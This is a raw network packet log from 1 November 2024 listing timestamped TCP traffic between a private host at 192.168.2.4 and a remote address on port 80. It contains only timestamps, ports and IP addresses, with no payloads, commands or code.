Nov 1, 2024 08:51:13.639182091 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.667932987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.667964935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.667999029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668003082 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668018103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668040991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668117046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668152094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668196917 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668215036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668231964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668260098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668301105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668303967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668385983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668802977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668853998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668884993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668900967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.668932915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.668943882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.710424900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.710475922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.710490942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.710534096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.710570097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.711991072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.712013960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.712029934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:13.712049961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:13.712069988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.072879076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.072901011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.072916031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.072931051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.072947025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.072988987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073024988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073298931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073318958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073347092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073362112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073376894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073432922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073450089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073465109 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073472977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073482990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073498011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073503017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073520899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073527098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073540926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073540926 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073580027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.073937893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073965073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073977947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.073992968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074007988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074017048 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074022055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074027061 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074038982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074043036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074053049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074090004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074106932 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074177027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074222088 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074244976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074263096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074289083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074297905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074304104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074318886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074333906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074338913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074348927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074364901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074367046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074400902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074430943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074445963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074460030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074475050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074480057 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074491978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074506998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074508905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074527025 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074536085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074543953 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074551105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074565887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074577093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074580908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074595928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074606895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074609995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074624062 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074632883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074641943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074671030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074687958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074687958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.074723005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.074758053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.077977896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078056097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078165054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078181982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078197002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078222990 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078222990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078242064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078243017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078258991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078267097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078274012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078288078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078294039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078305006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078320980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078335047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078350067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078352928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078360081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078367949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078372955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078382969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078392029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078398943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078408957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078413963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078428984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078428984 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078444004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078452110 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078460932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078476906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078480005 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078493118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.078504086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.078528881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110377073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110414028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110430956 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110444069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110447884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110464096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110471010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110477924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110492945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110496044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110512018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110528946 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110531092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.110543966 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.110579967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.138482094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.138505936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.138534069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.138571978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.138606071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139352083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139384031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139400005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139405012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139426947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139439106 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139447927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139463902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139480114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139484882 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139496088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139511108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.139539957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139539957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.139569044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.181169987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.181204081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.181221962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.181251049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.181268930 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.181375027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.227701902 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227731943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227804899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.227811098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227827072 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227844000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227858067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227865934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.227880955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.227905989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.227947950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227972031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.227987051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.228001118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.228002071 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.228017092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.228024960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.228049994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.256020069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.256036997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.256122112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.256974936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257004976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257025957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257030010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257045984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257055044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257064104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257071018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257077932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257086039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257102013 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257111073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257117987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257123947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257138968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257143021 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257154942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.257158995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257174969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.257189035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.298846960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.298877001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.298892021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.298908949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.298926115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.298966885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.298985004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345361948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345393896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345422029 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345422029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345443964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345457077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345472097 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345475912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345509052 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345536947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345552921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345570087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345576048 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345586061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345599890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345618010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345696926 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345716953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345731974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.345741034 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345758915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.345773935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374507904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374543905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374560118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374574900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374589920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374598980 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374607086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374634027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374645948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374649048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374664068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374665022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374679089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374687910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374695063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374702930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374710083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374717951 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374727011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.374731064 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374746084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.374759912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.416490078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416523933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416539907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416548967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.416557074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416574001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416577101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.416589022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.416610003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.416652918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463192940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463217020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463263988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463293076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463300943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463310003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463335991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463350058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463357925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463366032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463378906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463385105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463390112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463399887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463406086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463416100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463419914 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463434935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.463440895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463462114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.463470936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.643981934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644021988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644037962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644045115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644073963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644088984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644090891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644104958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644120932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644128084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644128084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644139051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644148111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644160032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644170046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644193888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644203901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644220114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644232988 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644233942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644248962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644262075 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644263983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644268036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:14.644273043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644289017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644304991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644311905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644332886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:14.644346952 CET	80	57660	185.215.113.16	192.168.2.4
